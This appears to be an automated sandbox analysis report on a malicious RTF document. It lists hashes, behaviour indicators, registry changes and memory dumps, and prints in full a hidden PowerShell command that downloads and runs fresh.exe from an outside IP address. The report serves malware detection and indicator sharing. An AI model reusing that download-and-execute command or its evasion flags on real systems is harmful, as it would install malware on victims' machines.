2214bdc78b558176a17484bcc02079a5470e0b49073d50d19b522d67dc4396e3

Analysis

max time kernel
148s
max time network
197s
platform
windows7_x64
resource
win7v20210410
submitted
30-07-2021 15:26

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General

Target

57bb59a2c491b89b3321428121ba1b5e88daca5a8e379fde41afc73e9679d752.rtf
Size

662KB
MD5

47a5e618c809f1f37bccced9d3536deb
SHA1

da3a6f5851537edffcc29e9bf4282d552090ce6e
SHA256

57bb59a2c491b89b3321428121ba1b5e88daca5a8e379fde41afc73e9679d752
SHA512

0d4f429f517b2d2045ef32e3a8e3f86b9a250e7f666398d88409a9a56e2a155baef2decf3c167941cd7da28b503241a6f9553d3ca06094bb965781097cb7a18c

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

httP://136.144.41.61/fresh.exe

Signatures

Process spawned unexpected child process 3 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	832	1028	powershell.exe	24
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	1784	1028	powershell.exe	24
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	1012	1028	powershell.exe	24

Blocklisted process makes network request 3 IoCs

flow	pid	Process
7	832	powershell.exe
8	1012	powershell.exe
9	1784	powershell.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Office loads VBA resources, possible macro or embedded object present

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1028	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
832	powershell.exe
832	powershell.exe
1012	powershell.exe
1012	powershell.exe
1784	powershell.exe
1784	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	832	powershell.exe
Token: SeDebugPrivilege	1012	powershell.exe
Token: SeDebugPrivilege	1784	powershell.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
1028	WINWORD.EXE
1028	WINWORD.EXE
1028	WINWORD.EXE
1028	WINWORD.EXE

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 1028 wrote to memory of 832	1028	WINWORD.EXE	31
PID 1028 wrote to memory of 832	1028	WINWORD.EXE	31
PID 1028 wrote to memory of 832	1028	WINWORD.EXE	31
PID 1028 wrote to memory of 832	1028	WINWORD.EXE	31
PID 1028 wrote to memory of 1784	1028	WINWORD.EXE	33
PID 1028 wrote to memory of 1784	1028	WINWORD.EXE	33
PID 1028 wrote to memory of 1784	1028	WINWORD.EXE	33
PID 1028 wrote to memory of 1784	1028	WINWORD.EXE	33
PID 1028 wrote to memory of 1012	1028	WINWORD.EXE	35
PID 1028 wrote to memory of 1012	1028	WINWORD.EXE	35
PID 1028 wrote to memory of 1012	1028	WINWORD.EXE	35
PID 1028 wrote to memory of 1012	1028	WINWORD.EXE	35
PID 1028 wrote to memory of 936	1028	WINWORD.EXE	39
PID 1028 wrote to memory of 936	1028	WINWORD.EXE	39
PID 1028 wrote to memory of 936	1028	WINWORD.EXE	39
PID 1028 wrote to memory of 936	1028	WINWORD.EXE	39

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\57bb59a2c491b89b3321428121ba1b5e88daca5a8e379fde41afc73e9679d752.rtf"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1028
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://136.144.41.61/fresh.exe','C:\Users\Admin\AppData\Roaming\fresh.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\fresh.exe'"
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:832
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://136.144.41.61/fresh.exe','C:\Users\Admin\AppData\Roaming\fresh.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\fresh.exe'"
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1784
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://136.144.41.61/fresh.exe','C:\Users\Admin\AppData\Roaming\fresh.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\fresh.exe'"
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1012
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:936

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/832-100-0x0000000006440000-0x0000000006441000-memory.dmp

Filesize
4KB

Download
memory/832-68-0x0000000004840000-0x0000000004841000-memory.dmp

Filesize
4KB

Download
memory/832-91-0x00000000062C0000-0x00000000062C1000-memory.dmp

Filesize
4KB

Download
memory/832-87-0x000000007EF30000-0x000000007EF31000-memory.dmp

Filesize
4KB

Download
memory/832-65-0x0000000001F40000-0x0000000001F41000-memory.dmp

Filesize
4KB

Download
memory/832-115-0x00000000065C0000-0x00000000065C1000-memory.dmp

Filesize
4KB

Download
memory/832-66-0x0000000004880000-0x0000000004881000-memory.dmp

Filesize
4KB

Download
memory/832-114-0x00000000065B0000-0x00000000065B1000-memory.dmp

Filesize
4KB

Download
memory/832-86-0x0000000006280000-0x0000000006281000-memory.dmp

Filesize
4KB

Download
memory/832-79-0x00000000061E0000-0x00000000061E1000-memory.dmp

Filesize
4KB

Download
memory/832-78-0x0000000005700000-0x0000000005701000-memory.dmp

Filesize
4KB

Download
memory/832-73-0x0000000005660000-0x0000000005661000-memory.dmp

Filesize
4KB

Download
memory/832-70-0x0000000005240000-0x0000000005241000-memory.dmp

Filesize
4KB

Download
memory/832-69-0x0000000004842000-0x0000000004843000-memory.dmp

Filesize
4KB

Download
memory/832-67-0x0000000002540000-0x0000000002541000-memory.dmp

Filesize
4KB

Download
memory/936-139-0x000007FEFB991000-0x000007FEFB993000-memory.dmp

Filesize
8KB

Download
memory/1012-98-0x0000000001F80000-0x0000000002BCA000-memory.dmp

Filesize
12.3MB

Download
memory/1012-126-0x00000000064C0000-0x00000000064C1000-memory.dmp

Filesize
4KB

Download
memory/1012-97-0x0000000001F80000-0x0000000002BCA000-memory.dmp

Filesize
12.3MB

Download
memory/1028-60-0x000000006FF11000-0x000000006FF13000-memory.dmp

Filesize
8KB

Download
memory/1028-61-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1028-62-0x0000000075591000-0x0000000075593000-memory.dmp

Filesize
8KB

Download
memory/1028-59-0x0000000072491000-0x0000000072494000-memory.dmp

Filesize
12KB

Download
memory/1784-132-0x00000000023F0000-0x00000000023F1000-memory.dmp

Filesize
4KB

Download
memory/1784-133-0x0000000004920000-0x0000000004921000-memory.dmp

Filesize
4KB

Download
memory/1784-134-0x0000000002720000-0x0000000002721000-memory.dmp

Filesize
4KB

Download
memory/1784-135-0x0000000005300000-0x0000000005301000-memory.dmp

Filesize
4KB

Download
memory/1784-136-0x0000000006070000-0x0000000006071000-memory.dmp

Filesize
4KB

Download